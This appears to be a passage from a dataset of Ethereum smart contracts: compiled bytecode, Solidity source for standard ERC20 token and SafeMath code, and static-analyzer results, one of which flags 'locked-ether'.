020905b8154815290600101906020018083116113d057829003601f168201915b5050505050908060030160009054906101000a900460ff16905084565b6060600380548060200260200160405190810160405280929190818152602001828054801561148e57602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311611444575b5050505050905090565b6060806005546040519080825280602002602001820160405280156114cc5781602001602082028038833980820191505090505b509050600080905060008090505b60055481101561157657858015611511575060008082815260200190815260200160002060030160009054906101000a900460ff16155b806115445750848015611543575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b15611569578083838151811061155657fe5b6020026020010181815250506001820191505b80806001019150506114da565b8787036040519080825280602002602001820160405280156115a75781602001602082028038833980820191505090505b5093508790505b868110156115f1578281815181106115c257fe5b602002602001015184898303815181106115d857fe5b60200260200101818152505080806001019150506115ae565b505050949350505050565b6060806003805490506040519080825280602002602001820160405280156116335781602001602082028038833980820191505090505b509050600080905060008090505b60038054905081101561177a576001600086815260200190815260200160002060006003838154811061167057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561176d57600381815481106116f557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683838151811061172c57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001820191505b8080600101915050611641565b816040519080825280602002602001820160405280156117a95781602001602082028038833980820191505090505b509350600090505b81811015611820578281815181106117c557fe5b60200260200101518482815181106117d957fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505080806001019150506117b1565b505050919050565b60055481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461186657600080fd5b600380549050816032821115801561187e5750818111155b801561188b575060008114155b8015611898575060008214155b6118a157600080fd5b826004819055507fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a836040518082815260200191505060405180910390a1505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661193b57600080fd5b81600073ffffffffffffffffffffffffffffffffffffffff1660008083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156119ab57600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611a1557600080fd5b600180600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef60405160405180910390a3611aca85611e05565b5050505050565b6000611ade8484846120a7565b9050611ae9816118e4565b9392505050565b603281565b60045481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611b3357600080fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611b8a57600080fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611be257600080fd5b60008090505b600380549050811015611cc8578473ffffffffffffffffffffffffffffffffffffffff1660038281548110611c1957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611cbb578360038281548110611c6e57fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611cc8565b8080600101915050611be8565b506000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508373ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a28273ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a250505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611e5c57600080fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611ec557600080fd5b8360008082815260200190815260200160002060030160009054906101000a900460ff1615611ef357600080fd5b611efc85611167565b156120a0576000806000878152602001908152602001600020905060018160030160006101000a81548160ff02191690831515021790555061201c8160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16826001015483600201805460018160011615610100020316600290049050846002018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156120125780601f10611fe757610100808354040283529160200191612012565b820191906000526020600020905b815481529060010190602001808311611ff557829003601f168201915b5050505050612223565b1561205357857f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a261209e565b857f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260008160030160006101000a81548160ff0219169083151502179055505b505b5050505050565b600083600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156120e457600080fd5b600554915060405180608001604052808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020016000151581525060008084815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506020820151816001015560408201518160020190805190602001906121a2929190612276565b5060608201518160030160006101000a81548160ff02191690831515021790555090505060016005600082825401925050819055503373ffffffffffffffffffffffffffffffffffffffff16827f125cc128025455cb458dc6ba80f03fcab9542337ffb7c6c798a2b3bc4d2fa20c60405160405180910390a3509392505050565b6000806040516020840160008287838a8c6187965a03f19250505080915050949350505050565b8154818355818111156122715781836000526020600020918201910161227091906122f6565b5b505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106122b757805160ff19168380011785556122e5565b828001600101855582156122e5579182015b828111156122e45782518255916020019190600101906122c9565b5b5090506122f291906122f6565b5090565b61231891905b808211156123145760008160009055506001016122fc565b5090565b9056fea265627a7a72305820611a1d8bde549a01f528c67b25e77933f5f4d4d2db9efe1a8aa5406c73d9c45464736f6c63430005090032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 8,747 |
0xb18be7dd6b713a96d8b7864701c4f6d2e604d794
|
pragma solidity ^0.4.21;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
Burn(burner, _value);
Transfer(burner, address(0), _value);
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
function DetailedERC20(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract TecToken is DetailedERC20, MintableToken, BurnableToken {
function TecToken(
string _name,
string _symbol,
uint8 _decimals,
uint256 _initialAmount
)
DetailedERC20 (_name, _symbol, _decimals)
public
{
if (_initialAmount > 0) {
mint(owner, _initialAmount * (10 ** uint256(decimals)));
}
}
}
|
0x6060604052600436106100f1576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b146100f657806306fdde0314610123578063095ea7b3146101b157806318160ddd1461020b57806323b872dd14610234578063313ce567146102ad57806340c10f19146102dc57806342966c6814610336578063661884631461035957806370a08231146103b35780637d64bcb4146104005780638da5cb5b1461042d57806395d89b4114610482578063a9059cbb14610510578063d73dd6231461056a578063dd62ed3e146105c4578063f2fde38b14610630575b600080fd5b341561010157600080fd5b610109610669565b604051808215151515815260200191505060405180910390f35b341561012e57600080fd5b61013661067c565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561017657808201518184015260208101905061015b565b50505050905090810190601f1680156101a35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101bc57600080fd5b6101f1600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061071a565b604051808215151515815260200191505060405180910390f35b341561021657600080fd5b61021e61080c565b6040518082815260200191505060405180910390f35b341561023f57600080fd5b610293600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610816565b604051808215151515815260200191505060405180910390f35b34156102b857600080fd5b6102c0610bd5565b604051808260ff1660ff16815260200191505060405180910390f35b34156102e757600080fd5b61031c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610be8565b604051808215151515815260200191505060405180910390f35b341561034157600080fd5b6103576004808035906020019091905050610dd0565b005b341561036457600080fd5b610399600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610f8b565b604051808215151515815260200191505060405180910390f35b34156103be57600080fd5b6103ea600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061121c565b6040518082815260200191505060405180910390f35b341561040b57600080fd5b610413611265565b604051808215151515815260200191505060405180910390f35b341561043857600080fd5b61044061132d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561048d57600080fd5b610495611353565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104d55780820151818401526020810190506104ba565b50505050905090810190601f1680156105025780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561051b57600080fd5b610550600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506113f1565b604051808215151515815260200191505060405180910390f35b341561057557600080fd5b6105aa600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611615565b604051808215151515815260200191505060405180910390f35b34156105cf57600080fd5b61061a600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611811565b6040518082815260200191505060405180910390f35b341561063b57600080fd5b610667600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611898565b005b600660149054906101000a900460ff1681565b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107125780601f106106e757610100808354040283529160200191610712565b820191906000526020600020905b8154815290600101906020018083116106f557829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600454905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561085357600080fd5b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156108a157600080fd5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561092c57600080fd5b61097e82600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119f090919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a1382600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a0990919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ae582600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119f090919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600260009054906101000a900460ff1681565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c4657600080fd5b600660149054906101000a900460ff16151515610c6257600080fd5b610c7782600454611a0990919063ffffffff16565b600481905550610ccf82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a0990919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610e2057600080fd5b339050610e7582600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119f090919063ffffffff16565b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ecd826004546119f090919063ffffffff16565b6004819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083111561109c576000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611130565b6110af83826119f090919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156112c357600080fd5b600660149054906101000a900460ff161515156112df57600080fd5b6001600660146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156113e95780601f106113be576101008083540402835291602001916113e9565b820191906000526020600020905b8154815290600101906020018083116113cc57829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561142e57600080fd5b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561147c57600080fd5b6114ce82600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119f090919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061156382600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a0990919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60006116a682600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a0990919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118f457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561193057600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008282111515156119fe57fe5b818303905092915050565b6000808284019050838110151515611a1d57fe5b80915050929150505600a165627a7a7230582050c8d937972a9367cec889dcfdfc819a090d679571c9add2d0555e10b126c3550029
|
{"success": true, "error": null, "results": {}}
| 8,748 |
0x476b201d1cabc781183187918e65144304d4a1b0
|
/**
*Submitted for verification at Etherscan.io on 2021-06-23
*/
/**
*Submitted for verification at Etherscan.io on 2021-06-19
*/
/**
*Submitted for verification at Etherscan.io on 2021-06-15
*/
pragma solidity ^0.6.10;
// SPDX-License-Identifier: UNLICENSED
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/IERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
